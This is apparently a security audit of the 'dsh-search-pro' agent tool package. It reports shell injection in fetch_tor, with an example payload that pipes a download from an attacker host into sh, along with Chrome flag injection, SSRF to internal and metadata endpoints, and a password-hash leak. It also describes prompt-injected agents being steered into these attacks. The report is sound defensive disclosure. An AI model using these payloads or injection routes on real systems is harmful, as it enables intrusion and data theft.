dsh-search-pro

The `url` argument of the fetch_tor tool is placed inside single quotes in a shell script executed by WSL bash, with no escaping or validation. A URL such as `http://x/'; curl http://attacker/p | sh; '` (or any URL containing a single quote) breaks out of the quoting and executes arbitrary commands in the WSL user context, which has access to the Windows filesystem (/mnt/c), config and credentials. URLs often come from untrusted search results or fetched pages, so a prompt-injected model can be steered into supplying a malicious one.

Reachable via the search_share tool: searchMagnet -> searchMagnetBtdig builds `https://btdig.com/search?q=${encodeURIComponent(query)}`. encodeURIComponent does not escape `'`, so a query containing an apostrophe closes the quoting and injects arbitrary words as curl arguments (e.g. `-o <name>` to write the response to a relative path in the process cwd). Shell metacharacters like ; | & $ ` / : are percent-encoded, which limits but does not remove the injectable surface.

The fetch_robust tool passes its raw `url` string as the final argv element to a real browser binary. The earlier stages reject invalid URLs but swallow the error, so a value beginning with `--` (e.g. `--renderer-cmd-prefix=...`) is still handed to Chrome as a command-line flag. Chrome flags such as renderer/gpu/utility cmd-prefix can spawn arbitrary processes; `--no-sandbox` additionally removes the renderer sandbox while loading arbitrary untrusted pages.

fetch_page/fetch_robust take a model-supplied URL and return the response body to the tool output with no host or scheme allow/block list, so the agent can be prompted (e.g. by text on a page it just fetched) into reading internal services such as http://127.0.0.1:<port>/ or cloud metadata endpoints and surfacing their content in the conversation. redirect:'follow' also bypasses any naive pre-checks.

checkPasswordLeak only transmits the 5-char k-anonymity prefix, but the tool result then renders the complete SHA-1 of the password into the tool output, which is stored in conversation history and may be logged or shared; an unsalted SHA-1 of a password is offline-crackable.